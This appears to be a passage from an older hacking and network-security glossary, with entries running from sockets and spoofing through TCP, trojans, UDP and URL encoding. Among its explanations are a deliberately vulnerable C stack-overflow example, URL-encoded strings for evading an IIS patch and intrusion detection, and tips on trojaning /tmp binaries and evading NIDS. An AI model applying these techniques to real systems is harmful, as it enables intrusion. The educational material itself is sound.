Contrast: Sockets originally came from UNIX, but has been ported to other platforms. In particular, the "WinSock" variant for Windows includes both the UNIX-style functions as well as the Windows-style functions. It is possible to write sockets-based programs that compile for both platforms.
Key point: The name "sockets" comes from the TCP/IP term "socket". A socket is minimum information necessary needed to communication on the network: the source/destination IP address, the source/destination port, and the transport protocol (UDP or TCP).
Key point: SOCKS servers are frequently misconfigured allowing both outside and inside people to use them. This means that if a hacker wants to hide where they come from, the hacker scans the Internet for SOCKS proxies, then funnel their data through the proxies they find. When victims trace back to the hacker's IP address, they find the open SOCKS server instead.
Key point: Abuse through SOCKS servers has become so common on IRC networks that many of them (dalnet, undernet) have begun scanning clients to see if they are running an open SOCKS proxy. They deny access to anybody coming into the networks through such a proxy. Note that users can still use closed proxies (i.e. those available only to internal users).
Key point: SOCKS servers listen by default on TCP port 1080.
Real world: Most browsers support SOCKS, which you can see in the "proxy" settings configuration tab. You can download generic SOCKS clients and servers from http://www.socks.nec.com/. SOCKS v5 is specified in RFRC 1928.
As in much of the script-kiddy subsculture, the kids from Marin County were helped by a "mentor". In this case, a kid from Israel named Ehud Tenebaum (aka. "The Analyzer"). The kids first broke into their local ISP, then launched automated attacks from there against the Pentagon. The ISP was then able to track back to the children by using dial-up records.
The investigation and raid against the children was code-named "Solar Sunrise", and involved the FBI, Air Force Office of Special Investigations, high levels of the DoJ, DISA (Defence Information Systems Agency), the NSA, and the CIA.
The two California teens were arrested and received probation. Tenebaum was charged but never tried, and was hailed as a "national resource" by the Israeli Prime Minister. The U.S. applied a lot of diplomatic effort for him to get put away for a long time in jail, but ultimately his punishment was probation, community service, and an $18,000 fine -- which he will likely be able to easily pay by earning large sums of money because of his fame.
Key point: The attacks were just script-kiddy exploits of the Solaris rpc.statd buffer overflow vulnerability.
Analogy: Somebody asks you how to get to the freeway. You can give them two responses:
Key point: The hacker can give the packets routes that go around firewalls.
Key point: The ASOF has four "Truths". These are interesting because they apply to infosec/hacking in the same fashion. The truths are:
Key point: A website can use the file "robots.txt" to give hints to spiders what they should, or should not, index. A big problem with websites is that spiders are really good at finding webpages, even those that website operators don't care to be exposed. However, users can still find these pages due to hits from search engines. Website operators can therefore "hide" pages by listing them in "robots.txt". However, hackers will therefore read "robots.txt" in order to find webpages that website operators want hidden.
Example: Spammers use spiders to sift through web pages looking for
e-mail addresses. For example, if you have a link that looks like
Contrast: A spider pulls information inward; a worm pushes itself outward to other systems. A spider is a type of 'bot, rather than infectious malware like viruses, trojans, or worm.
Analogy: When you send a letter via normal post (snail mail), you write the recipient's name and address on the envelope. You typically also write the sender's name and address as well, so that if there is an error forwarding you letter (e.g. a stamp falls off), they know who sent the letter and can return it. However, you can easily spoof it. For example, someone I know absolutely had to send a letter, but had no stamps. So he simply put the actual recipient's name as the return address section of the envelope and dropped it into the mail box. The letter was returned to sender, which of course arrived at the intended recipient.
Misunderstanding: Most people are interested in spoofing because they think it will allow them to hack a machine in a completely anonymous manner. It doesn't work this way. For example, Mitnick used IP spoofing in order to attack Shimomura's computers, but was caught anyway because spoofing does not truly hide the attacker. The problem is that all responses go back to the sender, so if you've spoofed the sender, you'll never see the responses. Therefore, the spoofing is useless for any normal activity. On the other hand, spoofing can still be useful in situations where seeing the response is not necessary. In the Mitnick instance, two machines trusted each other. Therefore, Mitnick was able to emulate and entire connection between the two machines by "predicting" what all the responses would be. He used this connection to open up something on the victim machine that he could then connect to normally. It was precursor scanning the and the post-spoof connection that Shimomura used to catch Mitnick.
Example: A particularly nasty form of a spoofing is TCP sequence number prediction. Theoretically, you cannot spoof any protocol based upon TCP connections. This is because both sides of a TCP connection choose their own Initial Sequence Number (ISN). In theory, this is a completely random number that cannot be guessed. In practice, it can sometimes be easily guessed. Mitnick used this technique when hacking Shimomura. As of the end of 1999, operating systems such as Linux, WinNT, and Win2k have implemented truly random ISNs in order to defeat this type of attack.
Example: In terms of volume of traffic, the most common use of spoofing today is smurf and fraggle attacks. These attacks spoofed packets against amplifiers in order to overload the victim's connection. This is done by sending a single packet to a broadcast address with the victim as the source address. All the machines within the broadcast domain then respond back to the victim, overloading the victim's Internet connection. Since smurfing accounts for more than half the traffic on some backbones, ISPs are starting to take spoofing seriously and have started implementing measures within their routers that verify valid source addresses before passing the packets. As a consequence, spoofing will become increasingly more difficult as time goes on.
Key point: Most of the discussion of spoofing centers around clients masquerading as somebody else. On the other hand, the reverse problem is equally worrisome: hackers can often spoof servers. For example, I post on my website that there is a serious security fix needed to protect yourself while on the web, and point you to http://www.micrsoft.com and hope that you never notice that the URL is misspelled. You would then go to that site (which would be really my server) and download the patch, which would really be a Trojan Horse that I designed in order to break into your computer. This is why server-side certificates are important: they allow someone to validate that the server isn't bogus.
Key point: As the analogy with postal mail shows, many things can be forged, not just the sender's IP address. Most spammers forge their sender's e-mail address in order to avoid all the hate mail they will receive in response. Forging your own sender e-mail address is as simple as reconfiguring your e-mail client -- anybody can do it. (However, there are more secrets to this, which mean you can still be caught by any determined person).
Contrast: Blind spoofing describes when you have no knowledge of the responses. Non-blind spoofing is when you are somewhere "in the line of site" as one end of the connection and can sniff some packets. For example, you may spoof a neighbor on the same cable-modem segment. Non-blind spoofing is also used in sniffers like juggernaut to either kill connections or to hijack them.
See also: IEEE 802.11
History: This technology was developed during WW-II by actress Hedy Lamar.
Example: The following is a typical SQL command:
SELECT * FROM Users WHERE FirstName = 'Robert'
The results from this command might look like:
| UserID | UserName | FirstName | LastName | Password |
|---|---|---|---|---|
| 508 | robg | Robert | Graham | Cerveza2 |
| 723 | rtm | Robert | Morris | w0rms-R-us |
| 796 | roberth | Robert | Heinlein | l4z4ru5 |
| 831 | bob | Robert | Smith | foobar |
Contrast: Whereas a hard-disk is simply raw data accessed through raw commands, a database is highly structured data access through structured commands.
Key point: Many web-based front-ends to SQL databases do not correctly validate input. An intruder can compromise a back-end SQL server by inserting SQL control characters and commands into input fields. As of the year 2001, this is a wide-spread problem throughout the Internet. It isn't easily exploited by script-kiddies because the particular exploit is different for each victim.
Example: The SS7 protocol:
Key point: Disable Telnet and the BSD 'r' utilities right now with SSH. Servers and clients are available not only for UNIX, but virtually all platforms (including Windows and Macintosh). A client is even available for Java.
Algorithms: RSA, Diffie-Hellman, DES, Triple-DES, Blowfish
Key point: Web servers have a certificate signed by a trusted certificate authority (CA). This certificate allows the client and the server to generate random keys for the session and to exchange them securely (to defend against man-in-the-middle attacks). The generated random key is used to encrypt the rest of the contents of the connection, usually using RC4. U.S. export controls attempts to limit products used abroad to only 40-bits of key length, which can easily be broken.
Key point: In SSL, the server first authenticates itself with the client (a technique that makes it more likely that e-commerce vendors are reputable). Therefore, if you want to set up your own SSL-based web server, you need to get a signed certificate from a CA. Furthermore, if you are outside the U.S., you will find it difficult to find one for 128-bits, though the Chaos Computer Club in Germany manages nicely.
Key point: The chief reason SSL isn't used more widely is because it creates a huge performance hit on servers. In particular, the biggest hit comes from handling the public keys in the certificate, though normal encryption/decryption also plays a role. Hardware acceleration for both the public key cryptography and symmetric cryptography are becoming more and more popular.
History: SSL was originally developed by Netscape to promote e-commerce. It is also known under the IETF standard name of TLS (Transport Layer Security) and the URL https://.
History: In 1996, Netscape's implementation was found to be deeply flawed (i.e. crackable) because of problems in the random number generator. It seeded the generator with the time in seconds and milliseconds as well as the PID (process ID) and PPID (parent process ID). Since these numbers are easy to guess, it gives the random symmetric session key a complexity of roughly 20-bits, which can be easily be brute forced. Subsequent sessions are not re-seeded, which means the discovery of the PRNG seed only needs to be discovered once.
Point: SSL allows the encryption algorithm to be negotiated (also known as the "cipher"). Some possible ciphers for SSL are:
Point: SSL handshake details:
Example: The following C code fragment shows an example of a stack overflowing:
int validate_user() {
char username[100];
char password[100];
int is_allowed = FALSE;
printf("Enter name:");
gets(username);
printf("Enter password:");
gets(password);
if (match(username,password))
is_allowed = TRUE;
return is_allowed;
}
What happens when a user enters a password greater than 100 characters?
There is no automatic checking with C/C++ programming language. When
a long password is entered, it will "overflow" into the next variable. In
this case, it will overflow into the variable "is_allowed". By entering
101 characters, a hacker will cause this code to return "TRUE" rather
than "FALSE", allowing them into the system even without a valid password.
Terminology: Data held on the stack is said to be held in automatic variables. The term "automatic" means it took zero effort to reserve space for the variable, and will take zero effort to release the memory for use by others.
Point: Stacks are used for passing arguments as one function calls another, local storage for that function while it is executing, returning results from the function, and remembering where the function needs to return to.
Analogy: Imagine a stack of plates in a restaurant. As customers order meals, waiters remove plates from the stack. When customers are done, waiters wash the plates and put them back on the stack. A "stack" in memory is used in a similer manner. Data is stored on the stack ("pushed" onto the stack), and then removed from the stack ("popped").
See also: buffer overflow
History: In 1998, Solaris systems across the Internet were broken into via rpc.statd due to a buffer overflow vulnerability (see Solar Sunrise). In 2000, Linux systems throughout the Internet were broken into via a format string vulnerability.
Example: Class FTP has a separate control connection and data connection. When you connect to an FTP server and request a file, you tell the server to connect back to you. Since most firewalls allow outgoing connections to servers but block incoming connections, you will be able to connect to the FTP server, but you won't be able to retrieve the desired file. Stateful inspection looks at the outgoing connection and notices that you've requested the incoming connection. The firewall opens up a tiny hole allowing just that inbound connection, thus fixing the entire situation.
History: In ancient times, a messenger would be shaved, then the message would be tattooed onto the skull. The hair would be allowed to grow back in, then the messenger was sent on his way. The recipient would then shave the messenger again in order to retrieve the message.
Contrast: In the 1980s, SunOS was based upon BSD. In the 1990s, Sun replaced SunOS with Solaris, a System V based operating system.
Key point: The word "SunOS" describes SunOS version 4. The word "Solaris" describes SunOS version 5.
Key point: The last major version of SunOS was 4.1.3, and continues to be popular (in much the same way that DOS and Win 3.1 continues to be installed on new machines). As a result, there are thousands of SunOS machines still out there that haven't been patched and which are susceptible to old exploits.
This technique is generally called "swapping" or "paging". The word "swap" reflects the fact that inactive blocks of memory are being switched with active blocks from the disk. The word "paging" reflects the fact that a common name for a block of memory is "page". The name of the file on the disk that an OS uses for swapping is called the "swapfile" or "pagefile".
Key point: A lot of security depends upon the fact that memory is secure: the OS protects applications from reading other application's memory, and that when the computer is turned off, the memory is erased. Therefore, applications can safely store passwords in clear-text in memory. Swapping defeats this, because the memory pages that store the passwords may have been swapped to the disk. Someone with physical access to the machine can turn it off, steal the disk, and run the pagefile through analysis programs in order possibly retrieve passwords.
Example:
Analogy: In your house, the same keys are used to lock and unlock your door.
Examples: Some symmetric encryption ciphers are:
Key point: Most packet-filtering firewalls work by blocking the SYN packets. This stops connections from being initiated. You can still scan behind these firewalls using ACK or FIN packets, but you will not be able to connect to any of those machines.
See also: SYN flood, three-way-handshake, TCP
Key point: SYN floods exploit a flaw in the core of the TCP/IP technology itself. There is no complete defense against this attack. There are, however, partial defenses. Servers can be configured to reserve more memory and decrease the amount of time they wait for connections to complete. Likewise, routers and firewalls can filter out some of the spoofed SYN packets. Finally, there are techniques (such as "SYN cookies") that can play tricks with the protocol in order to help distinguish good SYNs from bad ones.
Key point: When analyzing a machine that was broken into, you may find interesting information in the syslog logs. In particular, buffer-overflow attempts have distinctive messages, such as messages claiming an unknown command where the command is a string of binary characters.
[ tailgating | taint | targa | TCP | TCP sequence number prediction | TCP Wrappers | TCP/IP | TCSEC | teardrop | telcom | Telnet | TEMPEST | text | TFTP | threat | three-way-handshake | tiger teams | time bomb | TLS | ToneLoc | tools | ToolTalk | top level domains | top-secret | traceroute | trade secret | trailing dots | TRANSEC | transitive trojan | Transport Layer Security | trap and trace | trap door | trap-door | trashing | Triple DES | tripwire | TRNG (Truly Random Number Generator) | trojan | trunk | trust | tunnel | TWHS | two-person rule | TwoFish ]
Example: Version 4 of PERL has a special alternative interpretter called tainperl that tracks tainted input. Version 5 of PERL has the option "-T" that tracks taint.
See also: metacharacter
Key point: TCP is "connection oriented". This means the three-way handshake must be completed before any data can be sent across the connection. This makes IP address spoofing impossible without sequence number prediction.
Key point: TCP creates a virtual "byte stream" for applications. Therefore, applications that send/receive data must create their own boundaries, such as length encoding the data, or send text data a line at a time. However, in practice, applications do indeed send data aligned on packet boundaries. Most network-based intrusion detection systems depend upon these boundaries in order to work correctly. Therefore, they can easily be evaded by custom written scripts that misalign the data. The applications don't see any difference, but the NIDS see something completely different go across the wire that no longer matches their signatures.
Contrast: There are two transport protocols: TCP and UDP. Whereas TCP is connection-oriented, UDP is connectionless, meaning UDP-based applications are easily spoofed.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |
| Offset| Reserved |R|C|S|S|Y|I| Window |
| | |G|K|H|T|N|N| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| data |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number ^ | The sequence number of the first byte within this packet. |
|---|---|
| Acknowledgement Number ^ | The next expected sequence number of packets coming in the opposite direction. |
| Reserved ^ |
Not used. Note that this "field" is actually two fields: the low-order bits
of the data offset byte and the high-order bits of the flags byte.
Key point: The two undefined flags in this field are handled differently by different systems, which allows them to be fingerprinted |
| URG ^ |
The urgent flag is used to send what is known as out-of-band data.
Key point: TCP/IP stacks often don't implement this right, and virtually no application uses it either. In fact, the WinNuke DoS attack against Windows was due to the fact that Windows would crash on URG data. |
| ACK ^ |
When set, the Acknowledgement Number field is valid.
Key point: This bit is set in every packet but the first one, because every TCP packet acknowledges the last data it received. Key point: In order to block incoming connections, firewalls typically only pay attention to TCP packets with the ACK bit == 0. In other words, by blocking the first packet of a TCP connection, you prevent the connection from being established in the first place. Key point: Hackers can usually send TCP packets through a firewall by setting the ACK bit. Even though hackers cannot connect to a service, they can still do things like port scanning using this technique. |
| PSH ^ | Normally, TCP tries to coalesce multiple packets into a single packet in order to improve throughput performance (handling one big chunk is more efficient than smaller chunks), but at the cost of latency (after receiving the first chunk, it must wait a little bit to see if a second chunk arrives). This bit tells the stack to push the data though immediately without waiting. |
| RST ^ |
Informs the other side that an error has occurred. This will either drop
the connection or set it back to a known state.
Key point: Different TCP/IP stacks send resets in response to different conditions, which can be used to fingerprint the stack. |
| SYN ^ | Begins a connection. The most important consideration is synchronizing the sequence numbers on both sides. See SYN for more information. |
| FIN ^ |
Closes a connection.
Key point: If you send a FIN packet to an open port, it should not respond. Some incorrectly written stacks respond anyway, allowing you to fingerprint a system. Key point: IDS systems monitoring network traffic will sometimes kill TCP sessions by spoofing a FIN packet. Thus, when it detects an intruder connected to a server, it will make the server think the intruder has hung-up, and the server will likewise hang-up. |
History: Kevin Mitnick was caught doing TCP sequence number prediction against Tsutmu Shimomura. The reason Shimomura was able to catch Mitnick is because in order to predict the next sequence number, you must first grab the previous number using a non-spoofed connection.
History: One of the first to point out this security problem was Robert T. Morris in a 1985 paper entitled A Weakness in the 4.2BSD Unix TCP/IP Software.
Point: TCSEC is divided in four parts: A, B, C, and D, where 'A' describes systems with the highest security and 'D' describes untrusted/untrustworthy systems. Each of these is further subdivided into "classes". Microsoft received "C2" certification for Windows NT. This mean the government certified the system as to conforming to class 2 of division C.
Contrast: TCSEC is designed around the concept of trusted employees accessing local systems. It was not designed for todays open Internet access. Hackers do not approach security from the TCSEC point of view. TCSEC doesn't deal with types of threats hackers pose. What this means is that the TCSEC approach is irrelevent when trying to defend your e-commerce site against hackers. However, it is extremely useful in protecting internal systems from internal people. Remember that the biggest threat is from your own internal employees, and that most cybercriminals were convicted for having abused trust placed in them.
Misconception: The word Telnet is the name of both the protocol as well as the client-program that uses the protocol. This client program is built into most systems. Using the Telnet program, you can open up a raw TCP connection to any port on the target computer in order to interact directly with text-based protocols. Thus, when we talk about telnetting to a certain port, we usually are talking about simply opening a raw connection. Indeed, we may be referring to a case where neither the Telnet program nor protocol are being used, such as using netcat to port 80.
Example: Telnet to your local SMTP using a command that looks like telnet smtp.example.com 25. The first parameter should be your own mail server, whereas the second parameter indicates which port to connect to (other than the default port 23). Now type in the text as you see it below:
HELO foo.example.com MAIL FROM: nobody@example.com RCPT TO: hacker-test@robertgraham.com DATA this data will appear in the contents of the e-mail message .This will send the indicated e-mail message with the From: and To: addresses with the indicated content.
Key point: When abusing Telnet in this fashion, you cannot see the echoed characters, nor can you edit what you type by using the backspace key. Remember that the service on the other end thinks you are a program, so you shouldn't need to see the characters you type, and you should type these characters correctly the first time.
Key point: Some intrusion detection systems, like Network ICE, character-by-character activity instead of the expected line-by-line activity.
Contrast: The netcat tool provides the same ability to open a raw TCP connection, but sends a line at a time, echoes the characters back so you can see what you type, and allows you to edit the line before sending it. It also allows you to receive incoming connections, which might be useful when hacking FTP.
Terminology:
Key point: The word "van Eck monitoring" refers to the ability to remotely view a terminal/CRT from its radiation (see Phrack 44-11). Ross Anderson and Markus Kuhn have come up with an innovative technique of producing fonts that remove the high-frequency information, and thus severely reduce the ability to remotely view text on the screen.
Key point: One key way to avoid monitoring of transmissions is to use fiber optics (the NSA loves fiber). Electromagnetic emissions can leak out of a Faraday cage through fiber optic cables. This is due to the fact that fiber optic sheathes are partially conductive and/or there may be moisture inside the sheathes. The problem is really, really tough, much more difficult than you would think.
Key point: There are some defenses you can do. One easy one is to put ferrite toroids and split beads on all your cables (or least, your monitor cables). This stops some of the surface effects that is one of the lead causes of EMI leakage. Remember that EMI loves to travel along the surface of things, so the same could be applied to phone cables, power cords, etc. All this will leak transmissions.
Resources: See The Complete, Unofficial TEMPEST Information Page at http://www.eskimo.com/~joelm/tempest.html.
In cryptography, the word TEXT means anything you might want to encrypt, where the words plaintext indicates the message before you encrypt it and ciphertext indicates the message after you encrypt it.
In other areas of computer science, there is text data and binary data. The phrase "text" generally means human readable data, such as English text, whereas the word binary indicates data that can only be read by the computer.
Misunderstanding: We sometimes encrypt binary data, in which case the binary data forms that plain text of the message. Conversely, the body of a binary program that runs is often referred to as the TEXT of the program. In both these particular areas, the word "TEXT" is indicating the oppose meaning of the general usage.
Misunderstanding: Many people describe TFTP as simply a trivial version of FTP. This misses the point. The purpose of TFTP is not to reduce the complexity of file transfer, but to reduce the complexity of the underlying TCP/IP stack so that it can fit inside boot ROMs.
Key point: TFTP is almost always used with BOOTP. BOOTP first configures the device, then TFTP transfers the boot image named by BOOTP.
Key point: Many systems come with unnecessary TFTP servers. Many TFTP servers have bugs, like the backtracking problem or buffer overflows. As a consequence, many systems can be exploited with TFTP even though virtually nobody really uses it.
Key point: A TFTP file transfer client is built into many operating systems (UNIX, Windows, etc.). These clients are often used to download rootkits when being broken into. Therefore, removing the TFTP client should be part of your hardening procedure.
Contrast:
Alice: Hello? Bob: Hello! Alice: How's it going?What this means is that Alice first says "Hello" in order to indicate to Bob that she wants to talk to him. Bob responds with a "Hello" in order to indicate that he is willing to talk. Alice further sends some unimportant message in order to confirm to Bob that communication will indeed take place, and that the initial "Hello" wasn't just a passing greeting. Technically, the sequence is known as the [SYN, SYN-ACK, ACK] sequence.
Key point: For such a simple purpose (initiating a conversation), the exact details of the TCP handshake are incredibly important. They are designed to overcoming unreliable communication streams (analogy: a cell phone that keeps dropping out on you). Furthermore, it provides some security against people spoofing connections to you. On the other hand, it isn't completely secure; sequence-number prediction may still allow spoofing while SYN floods can be used to DoS the machine.
Controversy: Tiger teams aren't afraid of prosecution and start with a greater degree of knowledge about the victim. Therefore, many people argue whether a successful penetration by a tiger team reflects a real-world scenario. For example, if you don't fear prosecution, then you might simply do a physical break-in. A physical break-in will always result in a successful "hack" because you can install keystroke loggers, password sniffers, or simply steal disk drives.
Controversy: There are some cases where tiger teams have actually stolen sensitive information.
History: This originally a military term, where teams would enter secure installations and leave behind notes like "bomb" or "theft" in sensitive areas to prove that they had been there, and that they could have left behind bombs or stolen secret plans.
See also: nmap, netcat, crack, l0phtcrack, pwdump, Microsoft Resource Kit, SATAN, showmount, war-dialers, ARP redirect, dig,
Contrast: Court orders for a trap and trace are more frequent than full wiretaps. Less rigorous information is needed in order to get a legal warrant, and most any judge can order them (whereas wiretaps require at least a district judge). Whereas wiretaps are typically used to gather hard evidence for prosecution, trap and traces are often used to gather background evidence during investigations.
Contrast: Carnivore is most frequently used in a manner similar to a trap and trace, recording the FROM and TO fields of e-mail messages without capturing their content.
Contrast: Discussions of a trap and trace frequently mention pen register as well. A pen register records what numbers a suspect dials on their phone outbound; a trap and trace records the caller ID of people connecting inbound to the suspect.
Contrast: This is essentially the same as Caller ID or ANI. It is legal for people to tap their own phone in this manner, but illegal for law enforcement without a court order.
Definition: Section 3127 of ECPA defines a pen register as:
...a device which records or decodes electronic or other impulses which identify the numbers dialed or otherwise transmitted on the telephone line to which such device is attached, but such term does not include any device used by a provider or customer of a wire or electronic communication service for billing, or recording as an incident to billing, for communications services provided by such provider or any device used by a provider or customer of a wire communication service for cost accounting or other like purposes in the ordinary course of its business
See also: Carnivore, wiretap, trap and trace
Point: Triple DES runs in "E-D-E" mode where it encrypts the data with the first key, then decrypts it with the second key, then encrypts with the third key. The second "decryption" phase is really just an encryption step: it is only by convention that one direction is considered encryption and the other direction decryption. The reason this technique is chosen is that if the same key is supplied three times, the effect is the same as a single encryption step.
Controversy: The NSA urged banks not to adopt Triple-DES as a standard, citing national security concerns. They instead urged banks to adopt the Clipper chip. The banks went with Triple-DES in ANSI X9.52. In fact, as of 1998, several countries mandated the use of Triple-DES (replacing DES) in financial transactions.
Controversy: Simply tripling the encryption does not necessarily triple its strength. For example, there are many crypto algorithms whereby encrypting with two different keys simply means you can decrypt with a single third key. Many suspect that tripling DES only doubles is cryptographic strength.
Contrast: The simplistic form of tripwire is to check file size and last modification time. However, programs that change files (like viruses) will often keep these the same. On the other hand, keeping complete backups would require too much space. Therefore, cryptographic hashes are used.
Contrast: The cryptographic hash calculated from the file is often known as a "fingerprint" or "signature". However, these terms have completely different meanings in other areas of security, so some people just say "hash" or "checksum".
History: The original tool was published in 1992 for Unix. The company Tripwire Inc. was formed in 1998.
Point: Reasons why files change:
Trojans are one of the leading causes of breaking into machines. If you pull down a program from a chat room, new group, or even from unsolicited e-mail, then the program is likely trojaned with some subversive purpose. It might contain a virus, a password-grabber, or consist of a remote admin trojan designed to allow remote control over your machine.
Contrast: Whereas the general popular uses the word virus to refer to any malware, a Trojan is not technically a virus. Generally, Trojans do not spread to other programs or other machines.
Key point: The word can be used as a verb. To trojan a program is to add subversive functionality to an existing program. For example, a trojaned login program might be programmed to accept a certain password for any user's account that the hacker can use to log back into the system at any time. Rootkits often contain a suite of such trojaned programs.
Key point: Users can often break into a system by leaving behind trojaned command programs in directories (like their own directory or the /tmp directory). If you copy your own ls program to the /tmp directory, and somebody else does a cd /tmp then an ls, that user will run your program with their own privileges. This is especially dangerous against root, which is why the local directory should not be part of the search path for the root account.
Contrast: A big fear is the transitive trojan -- a trojan horse that generates other trojans. The best example is the trojan described by Ken Thompson. He put a trojan horse into the C compiler so that when the login code was compiled, it would always accept a backdoor password. A common technique to guard against that is to first recompile the compiler first. Thompson therefore trojaned the compiler so that when it recompiled itself, it would put back the trojan. Therefore, even when you had the complete source to UNIX and compiler, you still couldn't recompile from scratch and remove the trojan. The fear is that tool vendors might put such trojans in their compilers, which cause products made from those compilers to have backdoors.
Example: People have written tunnels over ICMP, DNS, HTTP, e-mail messages, and TCP connections. Tunnels can either by of the "port redirector" style (which run on top of any TCP/IP stack) or of the network interface variety (below the TCP/IP stack requiring kernel mod).
Example: In the movies you often see that nuclear weapons have two separate keys in order to unlock them. The locks are placed in positions further apart than a single person can reach. The keys must be turned at the same time in order to unlock the system.
Example: Really important passwords (such as those protecting private keys) are often given in pieces -- different pieces to different people. This requires that multiple people to be present in order to log on.
Example: Banks used to allow account holders to require two signatures on bank checks. This would cut down on fraud in businesses and charities. However, in this day and age of automated systems, banks no longer really have ways of verifying this. Our business account has this requirement in theory, but the bank never verifies this any more.
[ UDP | udp Format | uname | underground | Unicode | UNIX | Unix-to-Unix Copy | UPS | URG | URL encoding | USENET | USENET Death Penalty | User Datagram Protocol | user-level | user-mode | uucp | uudecode | uuencode ]
Contrast: There are two transport protocols: UDP and TCP. Both of these are responsible for hooking up the programs that are communicating with each other, whereas the underlying IP is simply responsible for getting the packets from machine to machine across the Internet. UDP is essentially just a light-weight version of TCP. Whereas TCP will automatically retransmit lost packets, UDP doesn't care. This is actually a benefit for audio/visual, but a severe disadvantage when transferring files.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Length | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
There is nothing to exciting about UDP. The source port identifies
the application on the sending machine. The destination port identifies
who is to receive the data. The length indicates how much
data is in the packet; the checksum
verifies that it has not been accidentally altered in transit
(though it cannot protect against deliberate alteration).
Key point: This is often the first command a hacker will run on the system when the hacker breaks in remotely. Hackers rarely known exactly what kind of system they have attacked. The other popular command hackers might execute is id.
Example: Running uname -a on one of my systems results in:
Linux gandalf.robertgraham.com 2.2.13-4mdk #1 Tue Sep 7 18:23:11 CEST 1999 i686 unknown
See also: hacking, phreaking, warez, anarchy, IRC, pseudonym
Key point: Most computers are built to handle 1-byte characters, and do not like the idea
of handling 2-bytes for each character. Therefore, a multi-byte character set has been designed to store
Unicode. It is called "UTF8". It is the native character set for many newer systems, such as Java. Using
"multibyte" rather than "fixed" character set means that a variable number of bytes can be used, depending
upon how many bytes/bits are needed to represent the character.
The key issue here is that every 7-bit ASCII character can be encoded in all forms. For example, older
Microsoft IIS web-servers would check for backtracking attacks. However, a UTF8
encoding of the backtracks would bypass the IIS checks, but would still be passed to the filesystem.
| Encoding | Bits | Encoding of '.' |
|---|---|---|
| 0xxxxxxx | 7-bits | 2E |
| 110xxxxx 10xxxxxx | 11-bits | C0 AE |
| 1110xxxx 10xxxxxx 10xxxxxx | 15-bits | E0 80 AE |
See also: encoding
Key point: There really is no "UNIX", but just various implementations designed along the same guidelines. Different versions of UNIX are more or less related, and there is extensive cross-germination of ideas, so that something good that appears in one will eventually migrate to others.
Contrast: There have been two main branches of UNIX: SVR4 (System V Release 4) and BSD (Berkeley Standard Distribution). Many security issues depend upon which base the system was derived.
Example: Sun Solaris, IBM AIX, SCO, SGI Irix, Apple A/UX, BSD, HP/UX.
Key point: UNIX is case-sensitive, whereas Windows and Macintosh are "case-insensitive" but "case-preserving". Windows has a compatibility mode that allows case-sensitivity, which can sometimes be exploited with other techniques in order to compromise the system.
Key point: The BSD branch has spawned many open-source variants, such as FreeBSD and OpenBSD. OpenBSD is considered one of the more secure versions of UNIX. Security experts spend the most time on OpenBSD in order to clean up bugs like buffer-overflows. However, in 1999, the dramatic rise of hacking and publication of bugs has led to a heightened awareness of these problems, which may lead to other systems becoming equally scoured for bugs.
How to: In order to harden UNIX, you generally do the following:
Key point: Typical UNIX weaknesses are:
Key point: The MTBF of the average UPS is five to ten years. High-end colos attempt to provide power grids that exceed this.
Key point: Increasingly, UPS units are being given interfaces for network management. This allows them to be hacked and have their power interrupted.
Key point: This encoding mechanism can be used to alter the signature of a hacker attack via web-based protocols. Such encoding can be used to evade detection by lightweight intrusion detection systems that are unable to "normalize" the URL.
Example: The Microsoft web-server in their ASP server-side scripts such that a hacker could append a dot to the end of the URL in order to read the script contents rather than executing the script. Microsoft created a patch, but hackers soon found they could evade the patch by URL-encoding the dot (appending a %2E to the end of the scrip rather than a dot). Examples:
| http://www.robertgraham.com/sample.asp | Normal URL |
| http://www.robertgraham.com/sample.asp. | Attempt to read script rather than executing it. |
| http://www.robertgraham.com/sample.asp%2E | URL-encoding in order to evade patch. |
| http://www.robertgraham.com/sample.%61sp%2E | Further URL-encoding in order to evade intrusion detection systems. |
Key point: Many network services these days now run as restricted user-level processes. This means when a remote hacker breaks into such a service, they do not get full control over the machine. They might be able to deface a webpage or cause other havoc, but they do not own the box. At this point, the intruder will need to run some sort of privilege escalation exploit in order to root the system.
Point: The protocol for transporting USENET messages is called NNTP: "Network News Transport Protocol".
Key point: The USENET Death Penalty (http://www.stopspam.org/usenet/faqs/udp.html) is often applied to NNTP servers in order to stop the flood of spam. It is often applied to ISPs who allow users to send lots of spam or allow their servers to be hijacked. For this reasons, many ISPs (especially high-speed cable modem and DSL providers will scan their customers looking for unauthorized NNTP servers.
Controversy: USENET presents a philosophical challenge to the Internet because of its distributed nature. It allows anonymous publishing of material that cannot be traced back to the source. This challenges the historic concepts of intellectual property and how it can be protected. For example, when RC2 and RC4 were posted to USENET, they stopped being trade-secrets.
